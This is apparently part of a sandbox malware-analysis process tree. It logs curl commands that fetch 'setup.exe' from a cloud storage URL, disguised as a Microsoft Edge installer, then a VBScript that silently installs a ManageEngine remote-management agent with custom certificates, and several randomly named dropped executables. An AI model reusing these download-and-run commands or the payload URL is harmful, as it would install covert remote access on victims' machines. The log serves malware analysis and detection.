                                                                                        "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                        5⤵
                                                                                          PID:3964
                                                                                        • C:\Windows\system32\curl.exe
                                                                                          "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                          5⤵
                                                                                            PID:3544
                                                                                          • C:\Windows\system32\curl.exe
                                                                                            "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                            5⤵
                                                                                              PID:1820
                                                                                            • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                                              "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                                              5⤵
                                                                                                PID:2864
                                                                                                • C:\Windows\System32\WScript.exe
                                                                                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX16\SetUP.VBS"
                                                                                                  6⤵
                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                  PID:2016
                                                                                                  • C:\Windows\System32\msiexec.exe
                                                                                                    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX16\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX16\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX16\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX16\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX16\Agentinstalllog.txt"
                                                                                                    7⤵
                                                                                                      PID:4488
                                                                                                • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                                                  5⤵
                                                                                                    PID:2532
                                                                                                    • C:\Windows\System32\WScript.exe
                                                                                                      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX18\SetUP.VBS"
                                                                                                      6⤵
                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                      PID:4300
                                                                                                      • C:\Windows\System32\msiexec.exe
                                                                                                        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX18\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX18\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX18\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX18\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX18\Agentinstalllog.txt"
                                                                                                        7⤵
                                                                                                          PID:1128
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                                                      5⤵
                                                                                                        PID:5960
                                                                                                        • C:\Windows\System32\WScript.exe
                                                                                                          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX17\SetUP.VBS"
                                                                                                          6⤵
                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                          PID:4676
                                                                                                          • C:\Windows\System32\msiexec.exe
                                                                                                            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX17\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX17\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX17\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX17\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX17\Agentinstalllog.txt"
                                                                                                            7⤵
                                                                                                              PID:3964
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart
                                                                                                          5⤵
                                                                                                            PID:4600
                                                                                                            • C:\Windows\System32\WScript.exe
                                                                                                              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX19\SetUP.VBS"
                                                                                                              6⤵
                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                              PID:4900
                                                                                                              • C:\Windows\System32\msiexec.exe
                                                                                                                "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX19\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX19\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX19\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX19\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX19\Agentinstalllog.txt"
                                                                                                                7⤵
                                                                                                                  PID:4460
                                                                                                            • C:\Windows\system32\curl.exe
                                                                                                              "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                              5⤵
                                                                                                                PID:2184
                                                                                                              • C:\Windows\system32\curl.exe
                                                                                                                "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                5⤵
                                                                                                                  PID:968
                                                                                                                • C:\Windows\system32\curl.exe
                                                                                                                  "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                  5⤵
                                                                                                                    PID:1032
                                                                                                                  • C:\Windows\system32\curl.exe
                                                                                                                    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                    5⤵
                                                                                                                      PID:5404
                                                                                                                    • C:\Windows\system32\curl.exe
                                                                                                                      "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                      5⤵
                                                                                                                        PID:4112
                                                                                                                      • C:\Windows\system32\curl.exe
                                                                                                                        "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                        5⤵
                                                                                                                          PID:4948
                                                                                                                        • C:\Windows\system32\curl.exe
                                                                                                                          "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                          5⤵
                                                                                                                            PID:5464
                                                                                                                          • C:\Windows\system32\curl.exe
                                                                                                                            "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                            5⤵
                                                                                                                              PID:1512
                                                                                                                            • C:\Windows\system32\curl.exe
                                                                                                                              "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                              5⤵
                                                                                                                                PID:4108
                                                                                                                              • C:\Windows\system32\curl.exe
                                                                                                                                "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                5⤵
                                                                                                                                  PID:3380
                                                                                                                                • C:\Windows\system32\curl.exe
                                                                                                                                  "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                  5⤵
                                                                                                                                    PID:2452
                                                                                                                                  • C:\Windows\system32\curl.exe
                                                                                                                                    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                    5⤵
                                                                                                                                      PID:4244
                                                                                                                                    • C:\Windows\system32\curl.exe
                                                                                                                                      "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                      5⤵
                                                                                                                                        PID:968
                                                                                                                                      • C:\Windows\system32\curl.exe
                                                                                                                                        "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                        5⤵
                                                                                                                                          PID:1724
                                                                                                                                        • C:\Windows\system32\curl.exe
                                                                                                                                          "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                          5⤵
                                                                                                                                            PID:2668
                                                                                                                                          • C:\Windows\system32\curl.exe
                                                                                                                                            "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                            5⤵
                                                                                                                                              PID:2960
                                                                                                                                            • C:\Windows\system32\curl.exe
                                                                                                                                              "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                              5⤵
                                                                                                                                                PID:924
                                                                                                                                              • C:\Windows\system32\curl.exe
                                                                                                                                                "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                5⤵
                                                                                                                                                  PID:1256
                                                                                                                                                • C:\Windows\system32\curl.exe
                                                                                                                                                  "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                  5⤵
                                                                                                                                                    PID:3400
                                                                                                                                                  • C:\Windows\system32\curl.exe
                                                                                                                                                    "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                    5⤵
                                                                                                                                                      PID:4520
                                                                                                                                                    • C:\Windows\system32\curl.exe
                                                                                                                                                      "C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.9236.676.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"
                                                                                                                                                      5⤵
                                                                                                                                                        PID:1284
                                                                                                                                              • C:\Users\Admin\AppData\Local\dSV.ETk\wLSsSPPLuqfC.UAy
                                                                                                                                                C:\Users\Admin\AppData\Local\dSV.ETk\wLSsSPPLuqfC.UAy
                                                                                                                                                1⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:1320
                                                                                                                                              • C:\Users\Admin\AppData\Local\dSV.ETk\AEgmtwycnznc.jLM
                                                                                                                                                C:\Users\Admin\AppData\Local\dSV.ETk\AEgmtwycnznc.jLM
                                                                                                                                                1⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:4300
                                                                                                                                              • C:\ProgramData\OhtoNCwrLiVEQbHJmirdJpabWmlnktKd.SLV\syiiBpDFRSmcpqlemptFhJCGdzluqBWc.rvo.exe
                                                                                                                                                C:\ProgramData\OhtoNCwrLiVEQbHJmirdJpabWmlnktKd.SLV\syiiBpDFRSmcpqlemptFhJCGdzluqBWc.rvo.exe
                                                                                                                                                1⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Loads dropped DLL
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                PID:5232
                                                                                                                                              • C:\Windows\system32\msiexec.exe
                                                                                                                                                C:\Windows\system32\msiexec.exe /V
                                                                                                                                                1⤵
                                                                                                                                                • Enumerates connected drives
                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                PID:1648
                                                                                                                                                • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                  C:\Windows\syswow64\MsiExec.exe -Embedding D05282299D01B2A4EFC4DC5B918AD0F1
                                                                                                                                                  2⤵
                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                  PID:2496
                                                                                                                                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
                                                                                                                                                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
                                                                                                                                                  2⤵
                                                                                                                                                  • Drops file in Program Files directory
                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                  • Loads dropped DLL
                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                                                  PID:2288
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""
                                                                                                                                                    3⤵
                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                    PID:4332
                                                                                                                                                    • C:\Windows\SysWOW64\net.exe
                                                                                                                                                      net session
                                                                                                                                                      4⤵
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                      PID:2836
                                                                                                                                                      • C:\Windows\SysWOW64\net1.exe
                                                                                                                                                        C:\Windows\system32\net1 session
                                                                                                                                                        5⤵
                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                        PID:3624
                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q
                                                                                                                                                      4⤵
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:4848
                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "SZAPMTOP\Admin":(OI)(CI)F /T /Q
                                                                                                                                                      4⤵
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:2172
                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r
                                                                                                                                                      4⤵
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:4544
                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q
                                                                                                                                                      4⤵
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      PID:932
                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q
                                                                                                                                                      4⤵
                                                                                                                                                      • Modifies file permissions
                                                                                                                                                      PID:2728
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""
                                                                                                                                                    3⤵
                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                    PID:4296
                                                                                                                                                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                      7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so
                                                                                                                                                      4⤵
                                                                                                                                                        PID:3184
                                                                                                                                                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                      7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3424
                                                                                                                                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                        7za.exe e -aoa "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:3544
                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
                                                                                                                                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 22
                                                                                                                                                          3⤵
                                                                                                                                                            PID:4252
                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exe
                                                                                                                                                            bin\dcinventory.exe -i postinstallation 0 1
                                                                                                                                                            3⤵
                                                                                                                                                              PID:4976
                                                                                                                                                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmetroapps.exe
                                                                                                                                                                dcmetroapps.exe
                                                                                                                                                                4⤵
                                                                                                                                                                  PID:5980
                                                                                                                                                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
                                                                                                                                                                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -p dc
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:3172
                                                                                                                                                                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exe
                                                                                                                                                                    bin\dcpatchscan.exe -y 1
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:4124
                                                                                                                                                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" *
                                                                                                                                                                        5⤵
                                                                                                                                                                          PID:4216
                                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll
                                                                                                                                                                          5⤵
                                                                                                                                                                            PID:4156
                                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" *
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:1284
                                                                                                                                                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll
                                                                                                                                                                              5⤵
                                                                                                                                                                                PID:1512
                                                                                                                                                                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" *
                                                                                                                                                                                5⤵
                                                                                                                                                                                  PID:1836
                                                                                                                                                                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe
                                                                                                                                                                                  5⤵
                                                                                                                                                                                    PID:2812
                                                                                                                                                                                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data.xml.gz" *
                                                                                                                                                                                    5⤵
                                                                                                                                                                                      PID:5496
                                                                                                                                                                                    • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchutils.json.gz" *
                                                                                                                                                                                      5⤵
                                                                                                                                                                                        PID:2192
                                                                                                                                                                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml
                                                                                                                                                                                        5⤵
                                                                                                                                                                                          PID:2920
                                                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                          "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.xml.gz" *
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:4316
                                                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\hardware.json.gz" *
                                                                                                                                                                                            5⤵
                                                                                                                                                                                              PID:5140
                                                                                                                                                                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.xml.gz" *
                                                                                                                                                                                              5⤵
                                                                                                                                                                                                PID:3576
                                                                                                                                                                                              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchtodepfiles.xml.gz" *
                                                                                                                                                                                                5⤵
                                                                                                                                                                                                  PID:912
                                                                                                                                                                                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                                                                                                                                                                                                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\EPMErrorCodes.xml.gz" *
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                    PID:1928
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                  PID:3260
                                                                                                                                                                                                  • C:\Windows\SysWOW64\systeminfo.exe
                                                                                                                                                                                                    systeminfo.exe
                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                    • Gathers system information
                                                                                                                                                                                                    PID:5648
                                                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
                                                                                                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:3524
                                                                                                                                                                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
                                                                                                                                                                                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:2596
                                                                                                                                                                                                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exe
                                                                                                                                                                                                  CRU_Reporter.exe -RegisterCRU
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:3556
                                                                                                                                                                                                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe
                                                                                                                                                                                                    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:1472
                                                                                                                                                                                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe
                                                                                                                                                                                                        "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 9
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                          PID:4176
                                                                                                                                                                                                      • C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcconfig.exe
                                                                                                                                                                                                        7 0 0
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:4580
                                                                                                                                                                                                        • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
                                                                                                                                                                                                          bin\dcstatusutil.exe RequestAgentSlotFromServer
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:5772
                                                                                                                                                                                                          • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe
                                                                                                                                                                                                            "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:5792
                                                                                                                                                                                                            • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcswmeter.exe
                                                                                                                                                                                                              "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\dcswmeter.exe" -s ET_COL
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:3184
